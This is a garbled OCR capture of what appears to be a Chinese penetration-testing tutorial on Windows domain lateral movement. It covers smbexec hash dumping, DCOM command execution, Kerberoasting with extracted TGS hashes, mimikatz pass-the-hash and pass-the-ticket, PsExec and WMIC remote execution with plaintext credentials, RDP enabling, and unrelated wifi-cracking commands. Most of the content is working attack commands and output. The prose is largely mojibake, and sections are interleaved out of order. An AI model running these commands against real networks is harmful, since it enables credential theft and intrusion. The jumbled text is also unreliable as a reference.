#Hash Dump Menu

1. Domain Controller
2. Workstation & Server Hashes
3. Main menu

Choice :

Gather local hashes from SAM database, cached credentials, and from within memory from targets.
|

Target IP, host list, or nmap XML file [ ]
Username [ ]

Password or hash (<LM>:<NTLM>) [

Domain [ ]

System Credential Dump
[+] 192.168.7.7 - Found 2 Local, Cached, 1 in Memory

[*] Module start time : Thu Sep 2 04:09:39 2021
[*] Module end time : Thu Sep 2 04:09:45 2021
[*] Elapsed time : 7 seconds .

Systems with Hashes Dumped: 1
Hashdump failures: @

Total ungiue hashes
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Local: 2, Cache: @, Memory: 1 Q TeamSSiX

Hashes are located at: /opt/smbexec/log/smbexec-2021-9-2/hashes/

Press enter to Return to Dumping Hashes Menul

2. DCOM fEimfiZ RS HAI(EHR

COM BIEHANRIER (Component Object Model, COM) , E&ETF Windows Fal—ER/HENRZONE, BH—4A
MNSHEAAH N REAMN .

COM W 2= @A AR Windows EERIERESF] Windows Server BOERH,

DCOM  (pAIVAHNRER) EHMETHAENRER (COM) M—RIBEHIEFEO, DCOM 2 COM (A
NHRER) 107 &,

EXAENM e LREAHENERE, MEeZ2iTEREN. 8K, B2 Internet £, AAXTEZA, &/
Imie P X REEB MM B B —alt B _LRIBRS 2R IEF N RAEIF K,

W& PI{ER DCOM #ATHER ), B DCOM K& pl B S SRAYIG N MEd Office NAEF UL BEAR
L2 EMNEM Windows W RITIEFITH L.

£ DCOM 1T EEINMNB 2 —1F T, AnZEN HTHREREESRITE COM RS 2[R, FlanF1k%
Fg ShellBrowserWindow COM N, IBARMESEmizENAIIAE explorer.exe HizH 1T,

NIEBME, XICREBIBEREIE, BT ARERFE =M DCOM R HE, EIRhEZERME L NAEER .

FARHIETT DCOM HifTam S
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1. 3XEX DCOM #2=%l5&

Get-Cimlinstance & PowerShell 3.0 A FAIRRABTHY, HEIER B Windows Server 2012 &I FIRIERGA B

Get—Ciminstance a3 <

none

airodump-ng -c 1 --bssid 5E:C1:1B:A2:37:F1 -w ./ wlan@mon

£ Windows 7 1 Windows Server 2008 Fa]BI{FH Get—-WmiObject Z 1 Get—CimInstance

none

aireplay-ng -0 0 -a (FEWRH wifi &9 bssid ) -c (2% FAOIRER MAC #hiE) wlan@mon

2. £/ DCOM HITEEM <

7£ DCOM REFFIFRHBEF N MMC Application Class (MMC20.Application) , X COM W& 0] DI4RTE MMC BEI8E
TOIRVERSA AR A,

A NEIR ARSI —1 PowerShell, FMAT Map<

none

aireplay-ng -@ @ -a 5E:C1:1B:A2:37:F1 -c 38:26:2C:13:D3:33 wlan@mon

FRIE AN TR AARIEIED STETIN +h A= A0 T AT MO N AN A TR b T e T 2
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IRNITF CGUNVE X XAV E, LR LATHA T X P Rp =< IR | WUIVE XY ZXKHF AN D /A& 1T

none

aircrack-ng 1.cap -j 1

£ MMC20.Application 1B ExecuteShellCommand 7575, FATAIUZEERHITHS, tLWBEsMITEES

none

hashcat -a 3 -m 2500 1.hccapx ?d?d?d?d?d?d?d?d --force

PS C:\Users\Administrator> $com = [activator]::CreateInstance([type]::GetTypeFromProgID( "HMC20.Application™,”127.0.0.1"))
PS C:\Users\Administrator> $com.Document.ActiveView | Get-Member

TypeName: System.__ComObject#{6efc2da2-b38c-457e-9abb-ed2d189b8c38}

MemberType

Method
Method
Method
DeleteScopeNode Method
PeleteSelection Method
Deselect Method
DisplayScopeNodePropertySheet Method
DisplaySelectionPropertySheet Method
xecuteScopeNodeMenultem Method
xecuteSelectionMenultem Method
xecuteShellCommand Method
Method
Method
Method
Method
RefreshScopeNode Method
RefreshSelection Method
Method
Method
Method
Method
Method
Method
Method
ParameterizedProperty
fcopeNodeContextMenu ParameterizedProperty
ActiveScopeNode Property

https://teamssix.com/211027-163641.html

void
void
void
void
void
void
void
void
void
void
void
void
void
void
bool

int IsSelected (Node)

void
void
void
void
void
void

Definition . s

Back () EEV) HEE® FHEH
Close () e

CopyScopeNode (UVariant)

CopySelection ()

DeleteScopeNode (Variant)
DeleteSelection ()

Deselect (Node)
DisplayScopeNodePropertySheet (Variant)

DisplaySelectionPropertySheet ()
ExecuteScopeNodeMenultem (string, Uariant)

ExecuteSelectionMenultem (string)
ExecuteShellCommand (string, string, string, string)
ExportList (string, ExportListOptions)

Forward ()
Is (View)

RefreshScopeNode (Variant)
RefreshSelection ()

RenameScopeNode (string, Uariant)
RenameSelectedItem (string)

Select (Node)
SelectAll ()

IDispatch SnapinScopeObject (Variant)
IDispatch SnapinSelectionObject ()

void

UiewMemento (string)

string CellContents (Node, int) {get}
ContextMenu ScopeNodeContextMenu (Variant) (get}

Node

ActiveScopeNode () {get} {set}
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Property Columns Columns () {get)}
Property IDispatch ControlObject () {get}
Property Document Document () {get}
Property Frame Frame () {get}
Property Nodes ListItems () {get}

[ J
Property ListUiewMode ListUiewMode () {get} (set} ?
Property string Memento () {get} ea I I IX

ScopeTreeUisible Property int ScopeTreeUisible () {get} {set}
Selection Property Nodes Selection () {get}
SelectionContextMenu Property ContextMenu SelectionContextMenu () {get}
StatusBarText Property string StatusBarText () (set}

PS C:\Users\Administrator> $com.Document.ActiveView.ExecuteShellCommand( 'cmd.exe’,$null,”/c calc.exe”, "Minimized")
PS C:\Users\Administrator>

f& 7 MMC20.Application & ShellWindows. ShellBrowserWindow. Excel Application DA K Outlook Application 55
Fr] A FA IR A

£ DCOM HiZfe XM LHMITH<L
AERILS AN, BERENTEM:

BEAERMEIE ANRAY PowerShell

T X BMA TR XIE,

IR EN EMITH LB, DIUEREEN administrator IKFPE T B IR EN BB EERANRIONKF
1. VW MMC20.Application i 4Tar <

none

hashcat -a 3 -m 22000 1.hc22000 ?d?d?d?d?d?d?d?d --force

L s ]
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COI. [||| ument. Actis

iJ Windows H-55E B3

XA (F)

mERE E#E  |Es

EIO) EEN) FEEH)

IEMWEIWH?T%QA%VMMﬁm

| e |BR |BP .

P |

i

CTro|

N
LAY

calc. exe administrator

00

4,392 K Windows i+§é§

cmd. exe administrator
conhost. exe administrator
CSTsSs. exe SYSTEM

CsSrss. exe SYSTEM

Qo
00
00
00

olo K “1ndow¢r-

788 K *r“%'b%&ﬁf 2NSS
1, 388 K Client Server Runtime Pr
10,336 K Client Server Runtime Pr

2 . YA ShellWindows it

none

--gpu-accel 160
--gpu-loops 1024
--segment-size 512

\> [Activator]::(

£

RBBEESR

— -,

kd

. Windows ...

https://teamssix.com/211027- 163641 html

BHATSS

FIMILGPUR IR A MERE
FIDULGPUR IR A MERE
FIDUR B AR F BRI B RO R E

Createlnstance ([Type] : :GetTypeFromCLSID C 9BA

)).item(). Document. Application. ShellExecute (”cme

32", $null, 0)
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%TeamsSix

DA_F X A& R T Windows 7. Windows 10, Windows Server 2008, Windows Server 2016 FIZR %,
27 MMC20.Application 1 ShellWindows, A8 LA TX /1 DCOM S e] LAEFI A,
3. A Excel Application I 21T <

none

privilege: :debug
sekurlsa: :logonpasswords

4. A ShellBrowserWindow igf4Ta8<

& AT Windows 10 0 Windows Server 2012 R2 SRR ZR S

none

privilege: :debug
sekurlsa: :pth /user:administrator /domain:teamssix.com /ntlm:161cff@84477fe596a5db81874498a24

5. 1A Visio.Application LM TS
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BIiE R BEIrEE T Visio

none

privilege: :debug
sekurlsa: :ekeys

6. AR Outlook.Application AR TS

Bl BinZ LT Outlook

none

privilege: :debug
sekurlsa: :pth /user:administrator /domain:teamssix.com /aes256:7358fb65149672d99b8c9f3dfdddfeb486b78268e9c5250b23

aefbd26f293c60

dcomexec.py H7s
Impacket T E BB HIEMH T DCOM BIFFHIA, ZBIAR] DURH—P T wmiexec.py BIARRFRX BT shell, I
FA/E DCOM

dcomexec.py BIASH BTS2 MMC20.Application. ShellWindows 1 ShellBrowserWindow 3%,

none

privilege: :debug
calainl cae s AloAadk e /Aaviaanm 4+
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STRUI LDU. . LLURTLD 7 TAPUI L

PERNT—FL

none

kerberos: :purge

AR RENIE hash thr] AA hash £iFE%

none

kerberos: :ptt "[0;4beae]-2-0-40e00000-Administrator@krbtgt-TEAMSSIX.COM.kirbi"

$ dcomexec.py teamssix.com/adminisﬂ#ator@192.168.7.7 aad3b435b51404eeaad3b435b51404ee: 161cff084477fe596a5db81874498a24
Impacket v0.9.24.dev1+20210827.162957.5aa97fa7 — Copyright 2021 SecureAuth Corporation

[*] SMBv2.1 dialect used

[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands .
C:\>whoami

teamssix\administrator

C:\>ipconfig

[-] Decoding error detected, consider running chcp.com at the target,

map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute dcomexec.py again with —codec and the corresponding codec

Windows IP Configuration

Ethernet adapter @66a?66:

Connection-specific DNS Suffix
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Link-local IPv6 Address : TeB80::b8a7:400:226c:6df2%11
IPv4 Address : 192.168.7.7

Subnet Mask : 255.255.255.0
Default Gateway : 192.168.7.1

0. Hl

][/

SPN
Windows IIME BT MERAVEN B F RS TIFN, SENEZARARMETRRIBUE D ARSI I AENRF#TD
FANERTIR, BRI RN IERNRFTHNENDE, RS T MEMENZEERNEFRA— D i SIENE
FIME,

AEMERETHORENAEE T ZMAR, N THRENEEDENBOERIRMEEN, MERLEANEGMERIE T
RNERIRSS EIAZFRED SPN (Service Principal Name)

Kerberos

Kerberos 2 MIT I2EA—FMEZSMINIENY, EE@BIERINERARNE TG / RSENBREFRHES M
UE, B2 EEZRAGIME TS DAL,

£ Kerberos TAUEA, S&FEZEAIQJAREUENER MREMR) MO, tbilH—7THP,EA RS2 ENERSKE, Bk
S HIMZB P 2SS ENERIFR ECEN LRSS, BRI T ERETERAASEMEREZHIEN D AS
EBRNZE M, X1EZ Kerberos & ARI0),

Kerberos MY RI A FREERE:

Client: T5[0]iRSZHE Pl
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Server: IRHRSHIARS 2
KDC (Key Distribution Center): 235875 & FR/[)
AS (Authentication Service): INIEARSS 28
TGS (Ticket Granting Service): ZIEEFIRS
DC (Domain Controller): 5z H22
AD (Account Database): B #UEE
TGT (Ticket Granting Ticket): ZFE ¥ 2L

ST (Servre Ticket): IREZEE
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|

7
|

1
1y

[
5

=
;. 1
::43

Client

PEFRED R —
FrEreeEni
feErRRRERR

RIELE, XEB—F5—0HTRE

FE—BME%: Clinet 5 AS
D BEFPIHENAILRS 28 AS AEIEK, 1B RAZNECHA,R. 4 IP F1XHaIREE,

@ AS ZWENER, AT AS SRIERFPZERFIURE AD 133, #ITXTAPREANEARREE, BRNREER
BEREMEPRNRE, AARAMSHIESE: WRKBEZM/R, INEREG MRFEA/E, U AS #IAN
ARPFE, LR AS WEP IR LN, MANSBEMERD

F—Ep: ZEEFRE TCT, EFIHHFE(EM TCT XEAD KT KDC RRRIEE T RS TGS SRENAIEIMES
REFMENER, TCT AEENRNEE kerberos MIBEFGFANEFIHEE. IP. HEIE)E

F_2Hy FEREPIHRZANEZN—EAS, XEANSEE: BTFEFPIHH TGS 2 [8BE8 Session_Key (CT_SK)
, BEFPIHREPE ISR TGS EE MK TCT WBMK EF—HEIR B, ZE o ARMEREIREIENE, FTUE
Pt E22NZE A AIN P LABIT B ORISR AR,

2, B-MEBETR.
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FE_MER: Clinet 5 TGS

LREPIHEEIREE] T AS REIFPER, BEFHERE AS REINVE D ASHITHRE, DRRENER. ZTRE
IE":UE@ TGS {IZI/ LX&EH?*D TGS 1 /fIZIE/j fﬂ CT_SK

BAEFPh=AIMNEES ECRENNBZEZEART 5 28, WNRAT 5 2HAHIANXD AS 2SR, TAIEK
W, SNELdEEER TGS KRIEIEK,

@ ZFUHE TGS REIEKR, BEKRHWABEZ =875
E—H0: F/8 CT_SK MENEFKER. P, e
E#o: BOBEREIR Server BRBEE (BBSTEL)
E==: {EH TGS BHINEN TGT
@ TGS FWEIEXR, B MERIRSNEEFAEEPIREESEN Server ;RSS, WMRAFE, INEERK, WNRFEN

WREFE FRATIAIL,

tgt::ask /user:administrator /domain:teamssix.com /ntlm:161cff@84477fe596a5db81874498a24

F—Ho: EHERSIHBENENRSEE ST, HREREEFIRESR. IP. EFIREGHDNRSIHES. ST BRUE

2. BRI =P iniliRSSim < [BB{Er CS_SK
£ 8o EH CT_SK MENAZE, HREHE CS_SK | WE#EM ST A MEE,

£, B_MEEETN.
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SE=FME%: Clinet 5 Server

IR FIRICEIRE TGS RNEN, FHERAMERN CT SK% B TGS REIME _#rAE, MENERIIRE,
X CS_SK /& MRS ImAREIGEK ., XERT TGS IREINE 5 R EMRIRSIHMIBINERN, HILXENES
I 2 JO R AT RRERY

© EFIRRRSIHAEER, BRABSEMELD
F—Ho: FA Co_SK B CHN=ENERMN BRI TINENESR

FTES: E @ FSE TGS BEFIHREINE—OASR

o}

B AARS IR IS INEBARS 2iE ST
© BRSBIGL R TREZFIHIER, ER @ﬁﬁEEE’JM%H%ETEﬁFi%EEEE’]%:“E YNE, RNNERC G, BE
CS_SK, #M CS_SK BEE—HnAE, MMIARFET TCS INMEENE,HER.

IR RS IG5 — 8 n R ENE RS E 8o BEENERHITNE, NMR—ENIRIZEF RS D AESESD,
LERS AR SSIm M E P imlof 2/ CS_SK MIERIRTIEZMIESR, BEF nEIZAERERMA T RSIHINESIE,

ZE, B=MEBETM, FIXEE kerberos INEHFISTA T, & MREP IS RS mMEEPVORIIHITIRE T,

XE B RYNFEINR MR,

i user, Kerberas Distribution Center (KDC)
password
[~ w %
ZrE AD _Ces BEl
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O ErsmamEe
FriEkAYServerlP
2FEServer TicketAE
SEFIRSn

5 eeaasmer <° E OO@
HIEFRF Sy . G
%O 0{(\ ;-o(bd.
€--~ —2.Asﬁlﬁ‘11g.1;c’- — ((\
& : > &
S : x@" O
& = = S
&° O Ny
N P o
>((\ 3-.§FW%TGHEI‘@'%§%%‘?E’BR%WH Ticke @
) ! @gTGTmﬁﬁP%ﬁ;‘ :
@,@ 5 ‘K(\ HEREPEEER et
_______ e s | e o
= ATGS ﬁﬁﬁlﬂﬂﬁ%ﬂﬂSewer Ticket (@) 6\%
& ' &* >
& : x© :
E s B
(Q"o 4 »
O ﬁ:”“ erver TicketZiA(a) RS
:fb 00 - 5.m£ﬂm¢wﬁs o1 Tick tiﬁn,ugﬁj E
S z & Q&
9 - 4 : O
Lo Frmimmmim i e & St PRI, ST e S S
> & 5 é:,\*’r
Qo: PO
3 | .
£ 2 Tk
((\ : : 3 +«‘-’
° = & 2)
b : P &
& P oY @fbé\
e ,(\(" b\

SFEA

VASSAVARRN

DA RTRN EE=A I E N AN win b= s nl AN e Ve Rk A0 o
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I\ OIXZD TN WNZX S 2R | AENHY T T

Kerberos IANIER BRI H A

=TMEREEER 7R, XERAHLZRIREMD, BRERZEPEI, RUEMERBEIE, FREHAMK
BRI BEXR AR O R,

AD EEE2—NEMTAA, SAM B—PE0UERZE, £M0U Account Database, Z(EFFE Client HR 82, RBEET
HZ R Client 7 gEIMFEIEE] TGT

KDC RSSIEZRFEE—1 KRBTGT K-, BEAtIBEmNAREAEZN—1KS, FIUNENEEATEME—T
TEERNKS, ARMERENERRIEREY HASH &,

1. SPN

EER A

168 Kerberos thilGH1TEBMHINEANE S, HWIERNENKS (NetworkService. LocalSystem) ZiERFIKS A
RSBz £ SPN,

MNFWENKS, SPNREmHTIEM, WMREEH/IKS MaiTikss, WATAEERKS FohEM SPN,

RAEIME RN EaRS2EEFER Kerberos SIIEARSSFIEM SPN , BT RT = EEROEIZHISAEEIEK,
SRERFEERIPRSSHY SPN , MMANE B CFRERMRS ZREM el L.

SPN A&8z0al

none
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kerberos: :purge

serviceclass (k) © BRFZAEMHEIR

hostname (i) @ A “/” SEENEMDE, XE2M hostname Z1HEHNAH FQDN (2R EEE, BERNHEALT
BH2MEZ)

port (AIE) : UESHME, EEMNAB LIRS RITNGCDS

servicename (AJ1E) @ —PFREH, TURRBHNEERIR (DN) | objectGuid. Internet EAZ S EPRE S
#

I
Jio
N

2 SPN R%
MSSQL fR%

none

klist purge

Exchange RS

none

kerberos: :ptt "TGT_administrator@TEAMSSIX.COM_krbtgt~teamssix.com@TEAMSSIX.COM.kirbi"

RDP fRS5

none
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net use \\192.168.7.7\ipc$ "1qaz@WSX" /user:administratorzi®&net use \\192.168.7.7 /u:teamssix.com\administrator
"1qaz@WSX"

WSMan/WinRM/PSRemoting ARZ5

none

PsExec.exe -accepteula \\192.168.7.7 -s cmd.exe

SPN 13 ZA

SPN 3ty T34 Kerberos IRSLHIRM , AEESNEFRFRIMMSHRET EFME SPN 3.

SPN B I KIFE SPN RARIIRS ERRIRKEHRSS, SWEIHOELE, SPN HENEERRENFTREBYE
BEMEPRED P IOERSIHRO, FHAZEMENNPRNZ 2 REAN M ERENSTERS.

T SPN E18Z Kerberos ZHETARI—E7, PrLMRNER BN,

setspn

setspn & Windows B®ar<, UM< AFIREAHATER SPN ER

none
-accepteula £—/RIE1T PsExec R|HIHIME, EREZSHHMAZRLHIME-s UL System RETIRIEFHIE, WRABXIMSH, MaRE—

IR APIRAY shell

https://teamssix.com/211027-16364 1 .html
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Active Directory {&iR

PowerShell #1R Active Directory REEIFIE B

none

PsExec.exe \\192.168.7.7 -u administrator -p 1qaz@NSX cmd.exe

WEFEARESHIOERR, XHFEZEAP R DUERIZER, TEML:
https://github.com/3gstudent/test/blob/master/Microsoft. ActiveDirectory.Management.dl

none

-u EN\AFE-p 215
PowerView
PowerView N#EBIE:  https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.psT

none

PsExec.exe \\192.168.7.7 -u administrator -p 1qaz@WSX cmd.exe /c "ipconfig"

Powershell-AD-Recon 12t 7T — R 7RSS RS EZKSTEITRSZVEN BN RNTE, XLRSE
FEBARBRT MSSQL. Exchange. RDP. WinRM

Powearahall—_AN—Rernn ~R&EHItEF:  httna //aithiibh com /PuraTekR /PowerQhell—mAN—Rernn
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Powershell-AD-Recon T EEEBHRNBUT:

none

use exploit/windows/smb/psexecset rhost 192.168.7.7set smbuser administratorset smbpass 1qaz@WSXrun

TEENSHERE psl EEN, FEBDANL

T SPN 2181Y LDAP MiXmEiztl2sdTE18r), Rt RT FRIREGE—1EBAVEAE PR pT AR T SPN 135,
1§ PowerShell BIZRS AFFINAT, DA MSSQL ARSS A1

none

wmic /node:192.168.7.7 /user:administrator /password:1lqaz@WSX process call create "cmd.exe /c ipconfig > c:\ip.tx
t"

i RArER SPN 58

none

net use \\192.168.7.7\ipc$ "1qaz@WSX" /user:administratortype \\192.168.7.7\C$\ip.txt

lLrarharnact

https://teamssix.com/211027-16364 1 .html
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NTI1 VG1I VoL

kerberoast TEBIER GetUserSPNs.ps1, a]AZEBNE &I S A KB xEXAORR S5 .
kerberoast NEHAE:  https://github.com/nidem/kerberoast

none

net use \\192.168.7.7\ipc$ "1qaz@WSX" /user:administratorwmic /node:192.168.7.7 process call create "cmd.exe /c i
pconfig >c:\ip.txt"type \\192.168.7.7\C$\1ip.txt

kerberoast T EBIEAY GetUserSPNs.vbs thEESLINAE[E 89N EE

none

python3 wmiexec.py administrator:1qaz@WSX@192.168.7.7

PowerShellery

PowerShellery TEBE BT Get-SPN, B LUHNEFRSIKE SPN
PowerShellery NE#bilE:  https://github.com/nullbind/Powershellery

none

python3 wmiexec.py -hashes LMHash:NTHash 3%/ Z@EHRIP

ERM IR NRBITZ, UETR
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none

cscript //nologo wmiexec.vbs /shell 192.168.7.7 administrator 1qaz@WSX

BIN—"1 Get-DomainSpn.psm1 fIA BT BARISRIREY UserSID. ARSB AL A

none

cscript wmiexec.vbs /cmd 192.168.7.7 administrator 1qaz@WSX "ipconfig"

Impacket

Impacket T&EEHBIE:  https://github.com/SecureAuthCorp/impacket

FENTEEEEEANNEESTHE SPN 89, FA impacket TEE ™Y GetUserSPNs.py BJ AFEIEEI A A 3348 B in
B9 SPN

none

SN Invoke-WmiCommand.psl filA&
Import-Module .\Invoke-WmiCommand.psl

# IBECEmRASR,A
$User = "teamssix.com\administrator"

# 1B BIRARSNEG
$Password = ConvertTo-SecureString -String "1qaz@WSX" -AsPlainText -Force

# NZNMKEFNERFOF AT NEE N Crnadanti Al
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$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentlList $User,$Password

# BEENTBSHEm IP
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.7.7

# BHOTERRALES
$Remote.PayloadOutput

$ GetUserSPNs. py 192.168.7.7 teamssix.com/test —
Impacket v0.9.24.dev1+20210827.162957.5aa97fa7 — Copyright 2021 SecureAuth Corporation

Password:
ServicePrincipalName Name Member0f LastLogon

MSSQLSVC L g = SQLAdm CN=NetWorkManager,O0U=Beiling,DC=teamssix,DC=com 2020-02-17 00:03:53. 2020-11-24 19:59:48.870491
MSSQLSVC,i t i SQLAdm CN=NetWorkManager,0U=BeiJling,DC=teamssix,DC=com 2020-02-17 00:03:53.373859 2020-11-24 19:59:48.870491

MSSQLSvci % & - ;L T klion CN=NetWorkManager,0U=BeiJing,DC=teamssix,DC=com 2020-02-17 01:21:46.081266 2020-09-28 23:48:02.114&]112 %
MSSQLSvc drrs ~rw.o= 1425 Jery  (N=Admins,OU=Beiling,DC=teamsgix,DC=com 2020-02-17 05:07:45.063481 2020-11-24 19:37:25 .51 €aMSSiX
MSSQLSVC Ml o T b il S Jery  (N=Admins,0U=Beiling,DC=teamssix,DC=com 2020-02-17 05:07:45.063481 2020-11-24 19:37:25.583332

2. kerberoast

kerberoast E— XS Kerberos ThXIRA AT, EEAEEFEHEMNMTESRME TGS &i%x Kerberos ARSZEIEMN
BXRE, BPELEEERAEEEREMINEN TGT [0 TGS & XkBMNARSHNEIE,

= TGT #WINIEFBE M E BB IZIRSHMNER, TGS 2mBF &1X—KER, ZZEFRS SPN HBxEAITENRSIK
589 NTLM Hash (RC4 HMAC _MD5) , FtE1%, RT 281 Kerberoast S {F AN EHI NTLM Hash 3T 1%

https://teamssix.com/211027-163641.html
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Kerberos Z1F, W18 RT {FH NTLM Hash 21FFH, Kerberos EZIEF=WITFF, M™M1Z NTLM Hash XN Tz118

ARSI S HET,

kerberoast ROFI B

1. 818 SPN S 1t Users T HESTRZGA - RS

2. BKRHASH TGS

3. X TGS HITIEMK

XEM MSSQL iRS A, HEMBBRIZIRSHI SR

F &) EA SPN

none

# BT ENATHPA
$User="teamssix.com\administrator"

# HEEBMAREIG
$Password=ConvertTo-SecureString -String "1qaz@WSX" -AsPlainText -Force

# RkSHTEMBEERE, UESN Credentialh
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password

# TTnfE RYIFIETT calc.exe &<
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.7.7" -Credenti
al $Cred

BERFFIXRA SPN
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none

# 1EF Windows xp. server 2003

wmic /node:192.168.7.7 /user:administrator /password:1qaz@WSX PATH win32_terminalservicesetting WHERE (__Class!
="") CALL SetAllowTSConnections 1

# 15T Windows 7. 8. 10, server 2008. 2012. 2016, ;¥= ServerName FEXNHE#REY hostname

wmic /node:192.168.7.7 /user:administrator /password:1qaz@WSX RDTOGGLE WHERE ServerName='dc' call SetAllowTSConne
ctions 1

B

wmic /node:192.168.7.7 /user:administrator /password:1qaz@WSX process call create 'cmd.exe /c REG ADD "HKLM\SYSTE
M\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d @ /f'

eI DUER adsieditmsc @FAF SPN kEMSRE N

NAFEEEERSHNEZINR, goeditmse FTFAMA SR RIESS, WA NI, BREPRINEE, HIaXE7n
RPN test

none

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

AR Kerberos TMYXAIERIAINZ 5 T2 AES256_HMAC, Tl tgsreperack.py BT AW BIZINZ 5T, RUILEA
A BUBT AR INZ AR E N RC_HMAC_MD5S

EARMARIEREEST, HWRIATER, BinEsRE N RC_HMAC_MD5
none
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wmic /node:192.168.7.7 /user:administrator /password:1qaz@VWSX process call create "shutdown.exe -r -f -t Q"

TBKIETE SPN MRS 2R

none

python3 smbexec.py teamssix.com/administrator:1qaz@NSX@192.168.7.7

S EIEKBIRSHIBRS 2R

none

git clone https://github.com/brav@hax/smbexec.gitcd smbexec/chmod +x install.shsudo ./install.sh

pIDMEA Kist BERMEFNRIL, BEBREMNEE

ZIBfE mimikatz HATA R <, KAFPRERES G

none
1. System Enumeration // ZEIAEZEE2. System Exploitation // Hi7Z%4@<3. Obtain Hashes // REARGEE4S.
Options // —EEEAMIRIES. Exit // B

el BAAEA mimikatz, {#£/ powershell fIANS 13735 hashcat IEAFRIIE TV

nNNAa
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[N

1. Create a host list // RN IP BhiEiEREH2. Check systems for Domain Admin // FREBRA
ZhEIERA3. Check systems for logged in users // SKEVEHBEIEEBIMAZA,4. Check systems for UAC //
SKEVEMRZ ST UAC B9IRE5. Enumerate Shares // FREEMMARSHINEHEZE%6. File Finder

// EEEMAFTHER#47. Remote login validation // FEBMASHRREEZNAEF,S. Main menu

// RElEXER

5y Z{EF Rubeus FKEVZ1E

none

1. Create an executable and rc script // ER—" meterpreter Payload HEETASFIEITEZ2. Disable UAC

// xFnFEENA UAC3. Enable UAC // FHEm2ENM UAC4. Execute Powershell

// #i7—" PowerShell HIZ<5. Get Shell // {ERETF Pskxec WAHIFKEEMFASMN Shell6. In M
emory Meterpreter via Powershell // i@ PowerShell 7FA{7-1EN Meterpreter Payload7. Remote system access

// mAETSEALSE8. Main menu // BROIEFSE

A BUEA impacket SKEVE R

none
1. Domain Controller // FEUERAZE2. Workstation & Server Hashes // SREUAMIIAZ3. Main menu
// R[EIEHE
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192.168.7.7 teamssix.com/test

Impacket v0.9.24.dev1+20210827.162957.5aa97fa7 — Copyright 2021 SecureAuth Corporation

[#l Impacket Library Installation Path: /usr/local/lib/python3.9/dist-packages/impacket-0.9.24.dev1+20210827.162957.5aa97f
o

Password:

[+] Connecting to 192.168.7.7, port 389, SSL False

[+] Total of records returned 7
ServicePrincipalName

MSSQLS v

MSSQLSVY

MSSQLSy

MSSQLSv

MSSQLSW =%}

MSSQLSv=, =4

Name

SQLAdm
SQLAdm
klion
Jery
Jery
test

[+] Trying to connect to KDC at 192.168.7.7
[+] Trying to connect to KDC at 192.168.7.7
[+] Trying to connect to KDC at 192.168.7.7

Fr.

https://teamssix.com/211027-16364 1 .html

Member0f
CN:NetWorkManager,OU:BeiJing,bC:teamssix,dt:com
CN:NetWorkManager,OU:BeﬁJing,DC:teamssix,DC:com
CN=NetWorkManager,0U=BeiJing,DC=teamssix,DC=com
CN=Admins,0U=BeiJing,DC=teamssix,DC=com
CN=Admins,0U=BeiJing, DC=teamssix,RC=com

»

a7-py3.9.egg/impacket
P

8.870491
)148.870491
8:02.117112
9:37:25.583332

4 19:37:25.583332

2021-09-06 23:05:06.194412
"

Delegation
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= = s | =

spmatrod g oAs Ty
e N -

1is
o

X

$krb5tgs$23$*test$TEAMSSIX. COM$teamssix. com/test*$a62d1f9529f8ff2cb94bbf8528baeb78$06c3bfch9288cce4938a56124781014a8¢cd18302e2f9f64ba99b942ed/483782b7bdbb94893264931cf36d22bean6924cad13a8ccO@ebb45e9
9c83151f079828e8754aff7b491ca85550d7 625043678857 17022ddd6a06c6b917ab19230bd2bd45a44b0d3c76ffc73477148674e82ee848c0421ffb7a95¢c1a389d0ec47a9e7 f21d66456b541190dd262ecd21ae471d00T2826217413310F6c6¢ch
eacl12704eb5057a635b513b6886c57036039¢ea2ea8630933eef14df2af22583718elae41dee2fcf7e62eb4191ddfae12a8349b79a157f3afh38cOfdde7346b0cb6T3f2fad6ad4457bd7ac9d8a8c63a3c6c4bd191afbf673e5c03fab80776603c36
48aed28a7da223309ef059d236d7904646f9da5e92aa92ec419d21381d467e72571d4be4dab5725f572987be6dd7183338ab7a69ea20ca3f34c046ec2e578160bT50e91fleca72c7e52a2a67b22fhe76a8891d597e3760ce9efd21d0622b5d6a57df
b7c4e04988a72971233523903d6900f5abc7af4353718d2575e5463c464d776e82a88e5fce97¢c2fh07feb9369dcccd845d730b4c22bf64e198489ad5b799722b70c1294ae5eae4d3490efch66T86cb6dac6082747d74eb75437ddedb87h6899e2298
13e2c9d3aff480170bb62dc49cbe5d8d8d2e5d1d5049491008b5d764921050d61de86a55281b799ae3b7af7fc@16c4fclc32d86c0050be35048e94d25c59096b1206b20898e512872e399777at8b8993117132a65ab70974aab16b7 f6d5e01c25767
9068e3d3dd22787290eeb3fbd165beaba8f763721d542304eb1d5a11c246b51149e0180784c2f0366e2bdd4f32bd739fde84bch226df4c79085b5a8117a70b53524e9941aeb36bcd3f4c54c9066fblaca881021e7deddf259aadfe257acf93370114

b20@aba93cbedfb272f7497a59855572c34415f68cf2f5a2f1f6 I
[+] Trying to connect to KDC at 192.168.7.7

& MSSQL RSB AT NI EZIEE HIEIE kerberoast 8925 £, <5 kerberoast AR tgsreperack.py FIZSH B ZHERY
NTLM Hash

Kerberoast BIAS FEHhiE:  https://github.com/nidem/kerberoast

none
1. Save State // RFHENAS2. Load State // IEDEMRFAIRE3. Set Thread Count // 5
41284 . Generate SSL Cert // 4R SSL iFP5. Enter Stealth Mode // BENZEREN6. About // x
F7. Main menu // R[BlEZE

2y &= 1FH hashcat ### powershell fil4~. Rubeus. impacket IREVEIAIAR S Z1E

none

Get-CimInstance Win32_DCOMApplication
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$krb5tgs$23$*test$TEAMSSIX. COM$teamssix. com/test*$d16776c093b26T56ef72c374d244c221$9a6402e0 T F44
848b64205a27999050584a17bf4fdca8aaabbbalec0ae6023d2dd318e32fee59515c323c14afe755aaccac306eadasd
e7586d61d46a5257992eac0@5f3d7c2de6¢c1d9995fdeebf73f7b4346728197ala8bla5cfabd5350fe24ca9359a8d86¢
05f44bb26d62cf6bb35131d0T485540489eb2bcob5ffefdece2217¢c333¢cd2b11b032d6663d4a9924f4cc2bfee5188ef
